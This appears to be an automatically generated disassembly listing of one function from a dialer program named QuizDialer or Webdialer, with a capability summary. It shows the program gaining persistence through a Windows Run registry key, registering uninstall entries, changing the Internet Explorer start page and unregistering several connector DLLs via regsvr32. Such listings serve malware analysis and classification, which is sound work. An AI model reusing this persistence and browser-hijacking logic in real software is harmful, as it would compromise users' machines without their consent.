Function at 0x403b4a
Capabilities:
Copy file
Create process on windows
Delete file
Get common file path
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x720
and byte [ebp - 0x320], 0
push ebx
push esi
push edi
mov ebx, ecx
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x31f]
and byte [ebp - 0x720], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x71f]
mov dword [ebp - 0xc], 0x400
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 8]
stosb byte es:[edi], al
call fcn.0040f560
xor edi, edi
cmp dword [ebp + 8], edi
je 0x403d12
lea esi, [ebx + 0xca7]
push edi
lea eax, [ebx + 0xfb3]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
test eax, eax
je case.0x403e7a.107
mov ecx, ebx
call fcn.0040551f
lea eax, [ebp - 0x320]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x320]
push 0x4127c0
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x320]
push 1
push eax
lea edi, [ebx + 0x9d8]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
lea ecx, [ebp - 8]
push eax
lea eax, [ebp - 0x320]
push eax
push edi
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push SysReAllocStringLen
call fcn.0040f8ae
cmp dword [ebx + 0x18c], 0x6c
mov eax, str.QuizDialer
je 0x403c2a
mov eax, str.Webdialer
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push edi
push eax
lea eax, [ebp - 0x320]
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall_s__s
push eax
call esi
add esp, 0x10
xor eax, eax
lea ecx, [ebp - 8]
push eax
push eax
push 0x20006
push eax
push eax
lea eax, [ebp - 0x320]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0040f70e
test eax, eax
je 0x403ced
and byte [ebp - 0x320], 0
cmp dword [ebx + 0x18c], 0x6c
mov eax, str.QuizDialer
je 0x403c84
mov eax, str.Webdialer
lea ecx, [ebx + 0xa0b]
push edi
push ecx
push eax
lea eax, [ebp - 0x320]
push str._s____s____Account:_s
push eax
call esi
add esp, 0x14
lea eax, [ebp - 0x320]
lea ecx, [ebp - 8]
push str.DisplayName
push eax
call fcn.0040f881
and byte [ebp - 0x320], 0
lea eax, [ebx + 0xca7]
push eax
lea eax, [ebp - 0x320]
push str._s__u
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x320]
lea ecx, [ebp - 8]
push str.UninstallString
push eax
call fcn.0040f881
lea ecx, [ebp - 8]
call fcn.0040f6ef
push 1
push 0
push str.LDUV
mov ecx, ebx
call fcn.00405271
push 1
push 0
push str.LDUI
mov ecx, ebx
call fcn.00405271
jmp case.0x403e7a.107
cmp dword [ebp + 0xc], edi
jne 0x403d38
push 0x10124
push 0x4122a0
push str.Achtung__Sie_wollen_gerade_die_Zugangs_Software_deinstallieren._n_Nach_der_Deinstallation_k
push dword [ebp + 0x10]
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
jne case.0x403e7a.107
lea eax, [ebx + 0x9d8]
mov esi, SysReAllocStringLen
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push esi
lea ecx, [ebp - 8]
call fcn.0040f6b8
lea eax, [ebp - 0xc]
push edi
push eax
lea eax, [ebp - 0x720]
mov edi, str.Start_Page
push eax
push edi
mov ecx, ebx
call fcn.0040395b
push eax
push esi
lea ecx, [ebp - 8]
call fcn.0040f7ea
test eax, eax
je 0x403d93
push 1
lea eax, [ebp - 0x720]
push 0
push eax
push edi
push str.SoftwareMicrosoftInternet_ExplorerMain
push esi
lea ecx, [ebp - 8]
call fcn.0040f8ae
cmp dword [ebx + 0x18c], 0x6c
mov ecx, str.QuizDialer
je 0x403da6
mov ecx, str.Webdialer
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebx + 0x9d8]
push eax
push ecx
lea eax, [ebp - 0x320]
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall_s__s
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x320]
lea ecx, [ebp - 8]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0040f5a6
mov ecx, ebx
call fcn.004057b4
cmp dword [ebx + 0x11f8], 0
je case.0x403e7a.107
lea ecx, [ebp - 8]
call fcn.0040f594
and byte [ebp - 0x21c], 0
push 0x41
pop ecx
xor eax, eax
lea edi, [ebp - 0x21b]
push 0x105
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp byte [ebp + eax - 0x21c], 0x5c
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
je 0x403e46
lea eax, [ebp - 0x21c]
push 0x412614
push eax
call edi
lea eax, [ebp - 0x21c]
push str.Downloaded_Program_Files
push eax
call edi
mov ebx, dword [ebx + 0x18c]
and byte [ebp - 0x114], 0
push 0x41
xor eax, eax
pop ecx
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
lea eax, [ebx - 0x64]
cmp eax, 9
ja case.0x403e7a.107
jmp dword [eax*4 + 0x4040dc]
mov edi, str.VLoading.dll
lea eax, [ebp - 0x21c]
push edi
push eax
lea eax, [ebp - 0x114]
push str.__s__u___s_s_
push eax
call esi
add esp, 0x10
xor eax, eax
lea ecx, [ebp - 0x114]
push eax
push eax
push ecx
push str.regsvr32.exe
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea eax, [ebp - 0x21c]
push edi
push eax
mov edi, str._s_s
lea eax, [ebp - 0x114]
push edi
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
add esp, 0x10
lea eax, [ebp - 0x114]
push eax
call ebx
lea eax, [ebp - 0x21c]
push str.VLoading.inf
push eax
lea eax, [ebp - 0x114]
push edi
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x114]
push eax
call ebx
push str.SOFTWAREMicrosoftCode_Store_DatabaseDistribution_Units11BF0E2B_4229_4ADC_9C11_1C6968731018
jmp 0x4040b8
mov edi, str.SunInfoConnect.dll
lea eax, [ebp - 0x21c]
push edi
push eax
lea eax, [ebp - 0x114]
push str.__s__u___s_s_
push eax
call esi
add esp, 0x10
xor eax, eax
lea ecx, [ebp - 0x114]
push eax
push eax
push ecx
push str.regsvr32.exe
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea eax, [ebp - 0x21c]
push edi
push eax
mov edi, str._s_s
lea eax, [ebp - 0x114]
push edi
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
add esp, 0x10
lea eax, [ebp - 0x114]
push eax
call ebx
lea eax, [ebp - 0x21c]
push str.SunInfoConnect.inf
push eax
lea eax, [ebp - 0x114]
push edi
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x114]
push eax
call ebx
push str.SOFTWAREMicrosoftCode_Store_DatabaseDistribution_Units91DF007C_2F7F_4731_BE1F_38C1C13CEB8B
jmp 0x4040b8
mov edi, str.BelCallConnect.dll
lea eax, [ebp - 0x21c]
push edi
push eax
lea eax, [ebp - 0x114]
push str.__s__u___s_s_
push eax
call esi
add esp, 0x10
xor eax, eax
lea ecx, [ebp - 0x114]
push eax
push eax
push ecx
push str.regsvr32.exe
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea eax, [ebp - 0x21c]
push edi
push eax
mov edi, str._s_s
lea eax, [ebp - 0x114]
push edi
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
add esp, 0x10
lea eax, [ebp - 0x114]
push eax
call ebx
lea eax, [ebp - 0x21c]
push str.BelCallConnect.inf
push eax
lea eax, [ebp - 0x114]
push edi
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x114]
push eax
call ebx
push str.SOFTWAREMicrosoftCode_Store_DatabaseDistribution_UnitsE44151C8_0C6C_4A7D_B677_4FCC9552E957
jmp 0x4040b8
mov edi, str.eConnect.dll
lea eax, [ebp - 0x21c]
push edi
push eax
lea eax, [ebp - 0x114]
push str.__s__u___s_s_
push eax
call esi
add esp, 0x10
xor eax, eax
lea ecx, [ebp - 0x114]
push eax
push eax
push ecx
push str.regsvr32.exe
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea eax, [ebp - 0x21c]
push edi
push eax
mov edi, str._s_s
lea eax, [ebp - 0x114]
push edi
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
add esp, 0x10
lea eax, [ebp - 0x114]
push eax
call ebx
lea eax, [ebp - 0x21c]
push str.eConnect.inf
push eax
lea eax, [ebp - 0x114]
push edi
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x114]
push eax
call ebx
push str.SOFTWAREMicrosoftCode_Store_DatabaseDistribution_UnitsAB1E62EB_3DE3_428F_A417_64AB3C9B6CF0
push reloc.OLEAUT32.dll_SysReAllocString
lea ecx, [ebp - 8]
call fcn.0040f5a6
lea ecx, [ebp - 8]
call fcn.0040f594
lea ecx, [ebp - 8]
call fcn.0040f589
pop edi
pop esi
pop ebx
leave
ret 0xc